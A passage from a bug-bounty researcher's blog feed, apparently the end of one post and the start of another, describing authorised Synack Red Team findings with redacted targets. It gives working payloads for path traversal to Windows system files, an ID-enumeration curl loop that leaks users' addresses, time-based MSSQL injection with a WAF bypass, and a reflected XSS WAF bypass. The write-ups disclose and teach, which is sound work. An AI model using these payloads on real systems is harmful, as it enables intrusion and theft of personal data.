&lt;p&gt;I used this feature to list the contents of the root directory in the affected Linux server. In the root directory, I found a file named &lt;code&gt;application.jar&lt;/code&gt; which was potentially the source code of the currently running Spring Boot Cloud Config server.&lt;/p&gt;
&lt;p&gt;Also, the root directory had a file &lt;code&gt;.dockerenv&lt;/code&gt; so I was quite sure that I was in a docker container.&lt;/p&gt;
&lt;p&gt;However, Synack Red Team has the stop-and-report policy according to which, we are not supposed to do post-exploitation.&lt;/p&gt;
&lt;p&gt;I reported the issue during the 8 hours long quality period. And nobody had checked for this particular vulnerability and mine was the only report in QR.&lt;/p&gt;
&lt;h4 id=&#34;local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/h4&gt;
&lt;p&gt;I have already discussed this vulnerability in my previous article and you can find it here: &lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;path-traversal-allows-to-download-licence-keys&#34;&gt;Path Traversal Allows To Download Licence Keys&lt;/h4&gt;
&lt;p&gt;This path traversal was also very interesting. This was in a custom-built application and it did not require any authentication.&lt;/p&gt;
&lt;p&gt;When we visited the webroot, the web application redirected us to the login page.&lt;/p&gt;
&lt;p&gt;The login page was custom built and there was a brand logo along with the login page so I cannot show you the screenshots.&lt;/p&gt;
&lt;p&gt;Upon visiting the login page, a request to the &lt;code&gt;/web/product_logo&lt;/code&gt; endpoint was sent. The request contained a GET parameter named &lt;code&gt;logo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Overall, the request URL looked like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://[REDACTED]/web/product_logo?logo=logo.png
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The parameter &lt;code&gt;logo&lt;/code&gt; took a file name as the input and returned that particular file in the response. In this case, it was &lt;code&gt;logo.png&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, as this is functionality to read files, there may be a potential LFI/Path Traversal here. So, I changed the file name to &lt;code&gt;index&lt;/code&gt; with different extensions. However, none of them worked.&lt;/p&gt;
&lt;p&gt;So, I ran &lt;code&gt;ffuf&lt;/code&gt; hoping to discover more files but it was a failure. I used the &lt;code&gt;raft-small-files-lowercase.txt&lt;/code&gt; provided in the &lt;a href=&#34;https://github.com/danielmiessler/SecLists&#34;&gt;SecLists&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I did not know the underlying technology which is used so it was quite painful to enumerate files.&lt;/p&gt;
&lt;p&gt;However, I knew it was a Windows box because of the case-insensitive directory structure. What it basically means is that, in Windows, &lt;code&gt;WinDows&lt;/code&gt; and &lt;code&gt;Windows&lt;/code&gt; are the same directories/files as it is not case sensitive. And when I was doing my recon, I received the same response when I did &lt;code&gt;/web&lt;/code&gt; or &lt;code&gt;/Web&lt;/code&gt; so I was quite sure it was a Windows box.&lt;/p&gt;
&lt;p&gt;There are other ways to determine this too but I decided to assume it was Windows.&lt;/p&gt;
&lt;p&gt;Same as my past submissions, I decided to read the &lt;code&gt;C:/WINDOWS/System32/drivers/etc/hosts&lt;/code&gt; file of the remote server.&lt;/p&gt;
&lt;p&gt;So, I used a path traversal payload and the final URL looked like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://[REDACTED]/web/product_logo?logo=../WINDOWS/System32/drivers/etc/hosts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, one &lt;code&gt;../&lt;/code&gt; sequence did not work. So I kept increasing the &lt;code&gt;../&lt;/code&gt; sequences.&lt;/p&gt;
&lt;p&gt;Finally after 10 &lt;code&gt;../&lt;/code&gt; sequences, I finally hit the &lt;code&gt;hosts&lt;/code&gt; file and the server retrieved it for us.&lt;/p&gt;
&lt;p&gt;The final payload looked like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://[REDACTED]/web/product_logo?logo=../../../../../../../../../../WINDOWS/System32/drivers/etc/hosts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although this was enough for PoC, I decided to dig deeper with this path traversal.&lt;/p&gt;
&lt;p&gt;When I was fuzzing the application, I encountered an error that disclosed the full path to the webroot.&lt;/p&gt;
&lt;p&gt;I ran &lt;code&gt;ffuf&lt;/code&gt; again but now in the webroot of the server using the path traversal that I had found. This way, I was able to enumerate a file named &lt;code&gt;LICENSE&lt;/code&gt; that had license keys of the application.&lt;/p&gt;
&lt;p&gt;I reported the issue with all my findings and the report won the QR.&lt;/p&gt;
&lt;p&gt;Thanks for the read. :)&lt;/p&gt;
&lt;p&gt;You can reach out to me at &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;@kuldeepdotexe&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>120 Days of High Frequency Hunting</title>
      <link>https://kuldeep.io/posts/120-days-of-high-frequency-hunting/</link>
      <pubDate>Sat, 15 Jan 2022 20:50:13 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/120-days-of-high-frequency-hunting/</guid>
      <description>Hi, guys!
I and @caffeinevulns took inspiration from @infosec_au&amp;rsquo;s blog about high-frequency bug hunting and how he found 120 bugs in 120 days. After going through the blog, we decided to try to find 120 bugs in 120 days. Although we did not exactly succeed in finding 120 bugs in 120 days, we still found pretty nice bugs. This blog will be a transparent disclosure of all the bugs I found on Synack Red Team during these 120 days and a small write-up about the techniques I used to find/exploit them.</description>
      <content>&lt;p&gt;Hi, guys!&lt;/p&gt;
&lt;p&gt;I and &lt;a href=&#34;https://twitter.com/caffeinevulns&#34;&gt;@caffeinevulns&lt;/a&gt; took inspiration from &lt;a href=&#34;https://twitter.com/infosec_au&#34;&gt;@infosec_au&lt;/a&gt;&amp;rsquo;s &lt;a href=&#34;https://shubs.io/high-frequency-security-bug-hunting-120-days-120-bugs/&#34;&gt;blog&lt;/a&gt; about high-frequency bug hunting and how he found 120 bugs in 120 days. After going through the blog, we decided to try to find 120 bugs in 120 days. Although we did not exactly succeed in finding 120 bugs in 120 days, we still found pretty nice bugs. This blog will be a transparent disclosure of all the bugs I found on Synack Red Team during these 120 days and a small write-up about the techniques I used to find/exploit them.&lt;/p&gt;
&lt;p&gt;This particular write-up is limited to my bugs only due to length concerns. However, you can find &lt;a href=&#34;https://twitter.com/caffeinevulns&#34;&gt;@caffeinevulns&lt;/a&gt;&amp;rsquo; bugs on his blog at &lt;a href=&#34;https://coffeejunkie.me/&#34;&gt;https://coffeejunkie.me/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For summarising, I found a total of 36 valid vulnerabilities and performed 29 missions and 29 patch verifications. Please note that I have not included duplicate and low-impact findings that were rejected. I originally decided to include them as well but then I felt lazy because I had to go through all the submissions once again and it was not worth the effort for rejected submissions.&lt;/p&gt;
&lt;h3 id=&#34;submissions&#34;&gt;Submissions&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Transaction&lt;/th&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#ac-in-reportspostsphp-leaking-pii&#34;&gt;AC in /reports/posts.php Leaking PII&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Aug 05, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#misconfigured-web-server-leaks-admin-functionalities-in-302-response-body&#34;&gt;Misconfigured Web Server Leaks Admin Functionalities In 302 Response Body&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Aug 05, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated SQL Injection in [REDACTED] on owner and scheme parameters&lt;/td&gt;
&lt;td&gt;Aug 05, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debug Flag Allows for viewing of Database Credentials&lt;/td&gt;
&lt;td&gt;Aug 19, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debug Flag Allows To See Database Credentials&lt;/td&gt;
&lt;td&gt;Aug 19, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debug Flag Allows To See Database Credentials&lt;/td&gt;
&lt;td&gt;Aug 23, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root Detection Bypass Using Frida&lt;/td&gt;
&lt;td&gt;Sep 15, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wordpress Login Panel&lt;/td&gt;
&lt;td&gt;Sep 15, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed Drupal Login Panel&lt;/td&gt;
&lt;td&gt;Sep 16, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#multiple-time-based-sql-injections&#34;&gt;Multiple Time Based SQL Injections&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep 17, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spring Boot Path Traversal - CVE-2020-5410&lt;/td&gt;
&lt;td&gt;Sep 21, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#reflected-xss-via-e-mail-parameter-with-aspnet-waf-bypass&#34;&gt;Reflected XSS via E-Mail parameter with ASP.NET WAF Bypass&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep 23, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Outdated Jira instance leaking PII information&lt;/td&gt;
&lt;td&gt;Sep 24, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#login-authentication-bypass-in-client-side-ui&#34;&gt;Login Authentication Bypass In Client Side UI&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep 28, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#access-control-issue-allows-to-execute-sql-statements&#34;&gt;Access Control Issue Allows To Execute SQL Statements&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep 28, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS Via URL on [REDACTED]&lt;/td&gt;
&lt;td&gt;Sep 30, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS Via key Parameter on [REDACTED]/admin/core/html/google_api_lang.php&lt;/td&gt;
&lt;td&gt;Sep 30, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS Via POST Body&lt;/td&gt;
&lt;td&gt;Sep 30, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Config Backup Disclosing Cpanel Passwords&lt;/td&gt;
&lt;td&gt;Sep 30, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Folder Backup Exposing CVs&lt;/td&gt;
&lt;td&gt;Oct 01, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#connectors-endpoints-leaking-database-connection-information&#34;&gt;/connectors endpoints leaking Database Connection Information&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Oct 01, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDOR Exposing CVs and PII&lt;/td&gt;
&lt;td&gt;Oct 01, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress Login Panel&lt;/td&gt;
&lt;td&gt;Oct 05, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed Drupal Login Panel&lt;/td&gt;
&lt;td&gt;Oct 06, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin Panel Disclosure&lt;/td&gt;
&lt;td&gt;Oct 13, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multiple Time Based SQL Injections&lt;/td&gt;
&lt;td&gt;Oct 13, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Oct 14, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default Admin Credentials On Nagios Server&lt;/td&gt;
&lt;td&gt;Oct 28, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multiple Exposed Files Disclosing Confidential Information&lt;/td&gt;
&lt;td&gt;Oct 28, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#ssrf-allowing-to-access-internal-service&#34;&gt;SSRF Allowing To Access Internal Service&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Nov 02, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#ssrf-allowing-to-access-internal-service&#34;&gt;SSRF Allowing To Access Internal Service&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Nov 02, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDOR Allows To Read Order Details&lt;/td&gt;
&lt;td&gt;Nov 04, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDOR Allows To Read Order Details&lt;/td&gt;
&lt;td&gt;Nov 04, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS With WAF Bypass&lt;/td&gt;
&lt;td&gt;Nov 10, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multiple IDORs Allowing To Modify Endpoint Details&lt;/td&gt;
&lt;td&gt;Nov 11, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/120-days-of-high-frequency-hunting/#pre-auth-server-side-request-forgery&#34;&gt;Pre-auth Server Side Request Forgery&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Nov 24, 2021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch Verifications(29)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Missions(29)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;analysis&#34;&gt;Analysis&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Vuln Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Information Disclosure&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross Site Scripting&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access/Privacy Control Violation&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Insecure Direct Object Reference&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server Side Request Forgery&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Path Traversal/Local File Inclusion&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default Credentials&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root/Jailbreak Detection Bypass&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;brief-descriptions&#34;&gt;Brief Descriptions&lt;/h2&gt;
&lt;h4 id=&#34;ac-in-reportspostsphp-leaking-pii&#34;&gt;AC in /reports/posts.php Leaking PII&lt;/h4&gt;
&lt;p&gt;The PHP script &lt;strong&gt;/reports/posts.php&lt;/strong&gt; accepted a numeric POST parameter named &lt;code&gt;scheme&lt;/code&gt; which returned the residential address of users. I used the following command to enumerate different IDs and return addresses associated with the ID:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; id in &lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;seq &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; 50&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; curl https://&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;REDACTED&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;/reports/posts.php -X POST -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;scheme%5B%5D=&lt;/span&gt;$id&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;amp;custom=&amp;amp;create=Posts&amp;#34;&lt;/span&gt; --silent | sed &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1,2d&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above command will return addresses of users having IDs ranging from 1 to 50.&lt;/p&gt;
&lt;h4 id=&#34;misconfigured-web-server-leaks-admin-functionalities-in-302-response-body&#34;&gt;Misconfigured Web Server Leaks Admin Functionalities In 302 Response Body&lt;/h4&gt;
&lt;p&gt;This was the famous execute after redirect issue in PHP. The server had many PHP scripts that when visited, redirected to the login page. However, the 302 redirects also had the body contents of the same PHP script. Due to this, an attacker could access protected pages that leaked the admin functionality.&lt;/p&gt;
&lt;p&gt;I got around the redirect issue by adding the following match and replace rule in Burp:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Response header&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Match&lt;/td&gt;
&lt;td&gt;Location: https://[REDACTED].com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replace&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comment&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Note: &lt;code&gt;Replace&lt;/code&gt; and &lt;code&gt;Comment&lt;/code&gt; fields are empty.&lt;/p&gt;
&lt;h4 id=&#34;multiple-time-based-sql-injections&#34;&gt;Multiple Time Based SQL Injections&lt;/h4&gt;
&lt;p&gt;This particular finding was very interesting because although it was pretty straightforward, &lt;code&gt;sqlmap&lt;/code&gt; was still not able to exploit it. For this vulnerability, I had to manually enumerate the database and dump information. It was a time-based SQL injection so it required a lot of patience to get something meaningful out of the database.&lt;/p&gt;
&lt;p&gt;I first confirmed the SQL injection using the same special character fuzzing. However, this time, the application did not throw an SQL error when we sent a single quote. Instead, the response content was changed. Normally, the page would respond with 400 bad request. But if you send a single quote in the parameter, the response code changed from 400 to 500 hinting at an SQL injection. Now, if we do &lt;code&gt;&#39;-- -&lt;/code&gt;, the WAF blocked us from using that payload. I tried to bypass the WAF by using different forms of comments like &lt;code&gt;#&lt;/code&gt; and &lt;code&gt;/*&lt;/code&gt; but none of them worked and the WAF still blocked us.&lt;/p&gt;
&lt;p&gt;The host where I confirmed SQLi was &lt;code&gt;api-gateway-c.[REDACTED].com&lt;/code&gt;. However, there was another host in scope which was very similar to our host. The other host was &lt;code&gt;api-gateway.[REDACTED].com&lt;/code&gt;. I checked if the auth token obtained from &lt;code&gt;api-gateway-c.[REDACTED].com&lt;/code&gt; worked on &lt;code&gt;api-gateway.[REDACTED].com&lt;/code&gt; and to my surprise, it actually did!&lt;/p&gt;
&lt;p&gt;I checked if the endpoints where I confirmed SQL injection was present on &lt;code&gt;api-gateway.[REDACTED].com&lt;/code&gt; or not. The endpoints were actually present! I sent the SQL injection payload &lt;code&gt;&#39;-- -&lt;/code&gt; to the new host and the server sent 400 again. This successfully confirmed that the new server was also vulnerable to SQL injection and was not protected with WAF. This allowed me to enumerate the database freely without any issues.&lt;/p&gt;
&lt;p&gt;The issues are still not resolved. For some reason, &lt;code&gt;sqlmap&lt;/code&gt; did not detect the injection point so I decided to manually enumerate the database.&lt;/p&gt;
&lt;p&gt;I could get the server to delay response using a payload like &lt;code&gt;&#39;; WAITFOR DELAY &#39;00:00:10&#39;-- -&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, I needed to find a way to dump data using the delay. For that, I used MSSQL&amp;rsquo;s &lt;code&gt;IF&lt;/code&gt; statement. I constructed a payload that delayed the webserver for 10 seconds if the database username started with the character that I supplied. For example, the server would sleep for 10 seconds if the first letter of the database username was &amp;lsquo;A&amp;rsquo;.&lt;/p&gt;
&lt;p&gt;The payload that I constructed was as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;IF&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; SYSEM_USER) &lt;span style=&#34;color:#66d9ef&#34;&gt;LIKE&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;%&amp;#39;&lt;/span&gt;) WAITFOR DELAY &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;00:00:10&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I enumerated the whole database username this way. One character at a time. To enumerate one single character, it required me to send 64 requests. However, thanks to Burp Suite&amp;rsquo;s Intruder, I did not have to manually change the character and send 64 times. I just created a wordlist of lowercase and uppercase characters along with &lt;code&gt;-&lt;/code&gt; and &lt;code&gt;_&lt;/code&gt; as special characters and gave it to Intruder. Then, I sorted the results by the &lt;strong&gt;Response received&lt;/strong&gt; column.&lt;/p&gt;
&lt;p&gt;After running the Intruder 10 times, we get the 10 characters long database username.&lt;/p&gt;
&lt;p&gt;Normally, Synack Red Team requires actual table dumps to accept an SQL injection vulnerability. But in this case, they still accepted without me showing the database dumps because of the ridiculously slow data retrieval.&lt;/p&gt;
&lt;h4 id=&#34;reflected-xss-via-e-mail-parameter-with-aspnet-waf-bypass&#34;&gt;Reflected XSS via E-Mail parameter with ASP.NET WAF Bypass&lt;/h4&gt;
&lt;p&gt;I detect XSS vulnerabilities using a fairly simple payload like &lt;code&gt;d0mxss&#39;&amp;quot;&amp;gt;&amp;lt;&lt;/code&gt;. This payload allows me to find out the context in which the input is reflected. I used the same payload to detect this XSS. The payload was reflected in an input tag like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;E-mail&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;d0mxss&amp;#39;&amp;#34;&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;&lt;/span&gt;&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The ASP.NET WAF blocked common payloads like &lt;code&gt;&amp;quot; onclick=&amp;quot;alert(1)&lt;/code&gt;. To bypass the WAF, I used the following payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34; onmouseenter=&amp;#34;alert(document.domain)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above payload will make the reflected HTML look like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;E-mail&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;onmouseenter&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alert(document.domain)&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When the user moves the pointer above the &lt;code&gt;E-mail&lt;/code&gt; input, the XSS gets triggered.&lt;/p&gt;
